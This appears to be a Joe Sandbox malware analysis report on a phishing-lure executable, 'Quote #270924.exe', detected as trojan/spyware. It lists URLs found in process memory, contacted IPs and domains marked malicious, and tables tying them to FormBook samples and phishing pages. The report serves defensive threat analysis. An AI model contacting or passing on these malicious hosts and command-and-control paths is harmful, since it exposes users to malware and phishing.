http://www.martaschrimpf.info/Music_Production_Schools.cfm?fp=pO0JpCU5Mh6f5g1arwsF3FAaMtZCoz%2F4No65	Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://www.register.com/whois.rcmx?domainName=Alphaaistore.com	Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.otf	Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.martaschrimpf.info/__media__/design/underconstructionnotice.php?d=martaschrimpf.info	Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Robocopy.exe, 00000004.00000002.3989125037.00000000079CE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.eot	Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.martaschrimpf.info/Buy_Music_Online.cfm?fp=pO0JpCU5Mh6f5g1arwsF3FAaMtZCoz%2F4No65eqcRoFM4	Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.martaschrimpf.info/display.cfm	Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.eot?#iefix	Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.alphaaistore.com/display.cfm	Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://delivery.consentmanager.net	Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.register.com/?trkID=WSTm3u15CW	Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.alphaaistore.com/Christian_Website.cfm?fp=ptQ1PhmefSIPL%2BuLjwFIjR1UQknnb2Bgv3CJh%2BHmStY	Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.eot	Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://i2.cdn-image.com/__media__/pics/28905/arrrow.png)	Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://i2.cdn-image.com/__media__/pics/8934/rcomlogo.jpg	Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.martaschrimpf.info/Music_Video_Production.cfm?fp=pO0JpCU5Mh6f5g1arwsF3FAaMtZCoz%2F4No65eq	Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.martaschrimpf.info/__media__/js/trademark.php?d=martaschrimpf.info&type=ns	Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Robocopy.exe, 00000004.00000002.3989125037.00000000079CE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.Martaschrimpf.info	Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	Robocopy.exe, 00000004.00000002.3989125037.00000000079CE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.svg#montserrat-regular	Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.woff	Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.alphaaistore.com/__media__/js/trademark.php?d=alphaaistore.com&type=dflt	Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	Robocopy.exe, 00000004.00000002.3989125037.00000000079CE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://i2.cdn-image.com/__media__/pics/10667/netsol-logos-2020-165-50.jpg	Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.alphaaistore.com/Christian_Private_Schools.cfm?fp=ptQ1PhmefSIPL%2BuLjwFIjR1UQknnb2Bgv3CJh	Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://i2.cdn-image.com/__media__/pics/29590/bg1.png)	Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.alphaaistore.com/Alpha.cfm?fp=ptQ1PhmefSIPL%2BuLjwFIjR1UQknnb2Bgv3CJh%2BHmStYCNq%2BtSB73n	Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.ttf	Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.alphaaistore.com/The_Christian_Faith.cfm?fp=ptQ1PhmefSIPL%2BuLjwFIjR1UQknnb2Bgv3CJh%2BHmS	Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.ttf	Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.svg#montserrat-bold	Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.register.com?trkID=WSTm3u15CW	Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.woff	Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://i2.cdn-image.com/__media__/js/min.js?v2.3	Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Robocopy.exe, 00000004.00000002.3989125037.00000000079CE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.eot?#iefix	Robocopy.exe, 00000004.00000002.3987313418.000000000631A000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003F3A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
http://www.martaschrimpf.info/Schrimpf.cfm?fp=pO0JpCU5Mh6f5g1arwsF3FAaMtZCoz%2F4No65eqcRoFM4S6840KTg	Robocopy.exe, 00000004.00000002.3988995247.00000000076E0000.00000004.00000800.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3987313418.0000000005B40000.00000004.10000000.00040000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000002.3986193651.0000000003760000.00000004.00000001.00040000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
162.0.238.43	www.tomtox.top	Canada	22612	NAMECHEAP-NETUS	true
65.21.196.90	030003302.xyz	United States	199592	CP-ASDE	true
172.67.165.25	www.b5x7vk.agency	United States	13335	CLOUDFLARENETUS	true
160.251.148.20	www.nojamaica.net	Japan	7506	INTERQGMOInternetIncJP	true
208.91.197.39	www.alphaaistore.com	Virgin Islands (BRITISH)	40034	CONFLUENCE-NETWORK-INCVG	true
208.91.197.27	www.martaschrimpf.info	Virgin Islands (BRITISH)	40034	CONFLUENCE-NETWORK-INCVG	true
38.47.233.19	2q63f.top	United States	174	COGENT-174US	true
3.33.130.190	tracy.club	United States	8987	AMAZONEXPANSIONGB	true
85.159.66.93	natroredirect.natrocdn.com	Turkey	34619	CIZGITR	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1520627
Start date and time:	2024-09-27 17:28:14 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Quote #270924.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/2@12/9
EGA Information:	Successful, ratio: 80%
HCA Information:	Successful, ratio: 87% Number of executed functions: 38 Number of non-executed functions: 326
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 93.184.221.240
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, wu.ec.azureedge.net, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, hlb.apr-52dd2-0.edgecastdns.net, ctldl.windowsupdate.com, wu-b-net.trafficmanager.net, wu.azureedge.net, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Quote #270924.exe

Simulations

Behavior and APIs

Time	Type	Description
11:30:07	API Interceptor	7563192x Sleep call for process: Robocopy.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
162.0.238.43	Product Data Specifications_PDF.exe	Get hash	malicious	FormBook	Browse	www.mandemj.top/to69/?Z0=jnxbIh9toY3Lk084faTvVBMEFxwUktgIZy5Q1YpSMvmzprTTtz9cwA3B/bTtN1ehZaJt7UsIXSNTUbHOXFDXB9gkhdqEj3u6wGNYEX9l8USgN38burlDvemyCHtOx57idtfraeuBs8os&fRr0=tfAptZ
	PO5118000306 pdf.exe	Get hash	malicious	FormBook	Browse	www.storestone.xyz/pd4o/
	QlHhDu2uh1.exe	Get hash	malicious	FormBook	Browse	www.mandemj.top/to69/?vlJ0J=jnxbIh9toY3Lk084faTvVBMEFxwUktgIZy5Q1YpSMvmzprTTtz9cwA3B/bTtN1ehZaJt7UsIXSNTUbHOXFDXB6xmvPC7jVOY3WNYEUB78n7uOkwblrlFm/iycyJOk57iLJ//IZc=&HDJP=Pnl8G6jPyrn
	BL Draft-Invoice-Packing list-Shipping Document.pif.exe	Get hash	malicious	FormBook	Browse	www.mechecker.life/b6h1/
	2nd RFQ TECMARKQATAR PO33218_PDF.exe	Get hash	malicious	FormBook	Browse	www.mandemj.top/to69/?mnShvP=jnxbIh9toY3Lk087BKTBUwMLIQNntOIIZy5Q1YpSMvmzprTTtz9cwA3B/bTtN1ehZaJt7UsIXSNTUbHOXFDXTMZnvKu4jSfDtGBlDX578zWDJUwflrx6suU=&Cbj=nB9LWdWpMT7tUBt
	SecuriteInfo.com.Win32.Malware-gen.24953.22588.exe	Get hash	malicious	FormBook	Browse	www.mandemj.top/to69/?VzA=dz5HvTSP4ZdlFHDP&RD4=jnxbIh9toY3Lk087BKTBUwMLIQNntOIIZy5Q1YpSMvmzprTTtz9cwA3B/bTtN1ehZaJt7UsIXSNTUbHOXFDXTMZnvKu4jSfDtGBlDX578zWDJUwflrx6suU=
	x.exe	Get hash	malicious	FormBook	Browse	www.withad.xyz/r0nv/
	bin.exe	Get hash	malicious	FormBook	Browse	www.withad.xyz/r0nv/
	rfOfF6s6gI.exe	Get hash	malicious	FormBook	Browse	www.heolty.xyz/sr8n/
	4qV0xW2NSj.exe	Get hash	malicious	FormBook	Browse	www.heolty.xyz/sr8n/
65.21.196.90	LgzpILNkS2.exe	Get hash	malicious	FormBook	Browse	www.030002304.xyz/7b6l/
	ncOLm62YLB.exe	Get hash	malicious	FormBook	Browse	www.030003302.xyz/vkua/
	PO2-2401-0016 (TR).exe	Get hash	malicious	FormBook	Browse	www.070001350.xyz/ivyl/
	FATURALAR PDF.exe	Get hash	malicious	FormBook	Browse	www.030003112.xyz/dk22/
	Purchase order.exe	Get hash	malicious	FormBook	Browse	www.070001350.xyz/zvc6/
	DOC092024-0431202229487.exe	Get hash	malicious	FormBook	Browse	www.030002304.xyz/tmpg/
	Remittance advice.exe	Get hash	malicious	FormBook	Browse	www.070001350.xyz/zvc6/
	doc330391202408011.exe	Get hash	malicious	FormBook	Browse	www.030002060.xyz/oap7/
	DHL airwaybill # 6913321715 & BL Draft copy.exe	Get hash	malicious	FormBook	Browse	www.030002721.xyz/i28e/
	yyyyyyyy.exe	Get hash	malicious	FormBook	Browse	www.030002060.xyz/d629/?EN-hu=KAaEqqZfS4cDvU3Ij6Gom2nrmNT9tw2tnUHZxD+rCxnnN6LgNdSAGbreu7nZG1S4n6xTi0fmbnaWzdqJKm8Z7U+GaCKh7LK1IRPJE/WiiU/xJvV0/w==&zx=TzUh

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
natroredirect.natrocdn.com	RN# D7521-RN-00353 REV-2.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	CITA#U00c7#U00c3O.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	ADNOC requesting RFQ.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	rAGROTIS10599242024.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	oO3ZmCAeLQ.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	Purchase Order_ AEPL-2324-1126.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	AWB_5771388044 Documenti di spedizione.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	Cotizaci#U00f3n.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	PO2024033194.exe	Get hash	malicious	FormBook	Browse	85.159.66.93
	FvYlbhvZrZ.rtf	Get hash	malicious	FormBook	Browse	85.159.66.93
www.alphaaistore.com	PO5118000306 pdf.exe	Get hash	malicious	FormBook	Browse	208.91.197.39
www.b5x7vk.agency	PO-78140924.BAT.PDF.exe	Get hash	malicious	FormBook	Browse	172.67.165.25
	rP0n___87004354.exe	Get hash	malicious	FormBook	Browse	104.21.11.31
	Payment Advise-PDF.exe	Get hash	malicious	FormBook	Browse	172.67.165.25
	DOC092024-0431202229487.exe	Get hash	malicious	FormBook	Browse	104.21.11.31

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://effective-teammates-567500.framer.app/	Get hash	malicious	HTMLPhisher	Browse	172.65.208.22
	ATT71817.docx	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	FoS5cjKhd3.exe	Get hash	malicious	LummaC	Browse	104.21.4.136
	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Stealc	Browse	172.67.162.108
	https://www.google.fr/url?q=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp%2Fcasaderestauraciononline.com%2Fholy%2Findexsyn1.html%23cmltYS5hbWV1ckBjYXRhbGluYW1hcmtldGluZy5mcg==	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	0225139776.docx.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	https://changeofscene.ladesk.com/605425-Secure-Business-Documen	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://careeligibility.vercel.app/chubedan	Get hash	malicious	HTMLPhisher	Browse	172.67.75.166
	https://clicktracking.yellowbook.com/trackingenginewebapp/tracking.html?MB_ID=256862&SE_ID=9&AG_ID=2952701&AD_ID=6851395&kw=restaurants%20near%20me&kw_type=p&C_ID=874339&SE_AD_ID=73873744870314&se_clk_id=0651300f23401ca1b2e355991fb49377&hibu_site=0&redirect_url=https://femalewhowork.sa.com/rUswT/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://lkk6m.conownsup.com/tpgbE/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
CP-ASDE	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Stealc	Browse	65.21.18.51
	https://bn54.donegabang.com/	Get hash	malicious	Unknown	Browse	65.21.235.194
	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Socks5Systemz	Browse	65.21.18.51
	eovQPjY5wz.exe	Get hash	malicious	LummaC, RedLine	Browse	65.21.18.51
	file.exe	Get hash	malicious	LummaC, Amadey, Clipboard Hijacker, CryptOne, Cryptbot, LummaC Stealer, PureLog Stealer	Browse	65.21.18.51
	Audio playback00_05-30-00000.html	Get hash	malicious	HTMLPhisher	Browse	65.21.45.74
	file.exe	Get hash	malicious	Amadey, CryptOne, PureLog Stealer, RedLine, Stealc, Vidar, Zhark RAT	Browse	65.21.18.51
	http://ipscanadvsf.com	Get hash	malicious	Unknown	Browse	65.21.119.50
	jD6b7MZOhT.exe	Get hash	malicious	Amadey, Clipboard Hijacker, CryptOne, Cryptbot, LummaC Stealer, PureLog Stealer, RedLine	Browse	65.21.18.51
	file.exe	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse	65.21.18.51
NAMECHEAP-NETUS	http://www.hongkong-post.frairza.com/	Get hash	malicious	Unknown	Browse	104.219.248.95
	shipping notification_pdf.exe	Get hash	malicious	FormBook	Browse	162.0.238.238
	https://inveceinvece-fab1fa.ingress-bonde.ewp.live/wp-content/plugins/nwesidem/pages/region.php	Get hash	malicious	Unknown	Browse	63.250.43.2
	https://broccolitaptrain-facc4a.ingress-florina.ewp.live/wp-content/plugins/Suspendisse%20vitae/pages/region.php	Get hash	malicious	Unknown	Browse	63.250.43.137
	https://sites.google.com/view/loigfedrty/accueil	Get hash	malicious	Unknown	Browse	63.250.43.14
	https://fhjurjb-fae123.ingress-bonde.ewp.live/wp-content/plugins/kolydss/pages/region.php	Get hash	malicious	Unknown	Browse	63.250.43.1
	https://hongkong-post.frairza.com/tracking/?pwd=dhl	Get hash	malicious	Unknown	Browse	104.219.248.95
	https://hongkong-post.frairza.com/	Get hash	malicious	Unknown	Browse	104.219.248.95
	https://inoltreinoltre-fab1fa.ingress-earth.ewp.live/wp-content/plugins/aiimaea/pages/region.php	Get hash	malicious	Unknown	Browse	63.250.43.129
	https://dunquedunque-fab1fa.ingress-earth.ewp.live/wp-content/plugins/aiimaea/pages/region.php	Get hash	malicious	Unknown	Browse	63.250.43.129
INTERQGMOInternetIncJP	Capital Call - GCJ VI_Sept 23 2024.htm	Get hash	malicious	HTMLPhisher	Browse	150.95.219.86
	UMOWA_PD.BAT.exe	Get hash	malicious	FormBook, GuLoader	Browse	133.130.35.90
	PO23100072.exe	Get hash	malicious	FormBook	Browse	133.130.35.90
	https://flowcode.com/p/epjMkCwdtP	Get hash	malicious	Unknown	Browse	118.27.125.197
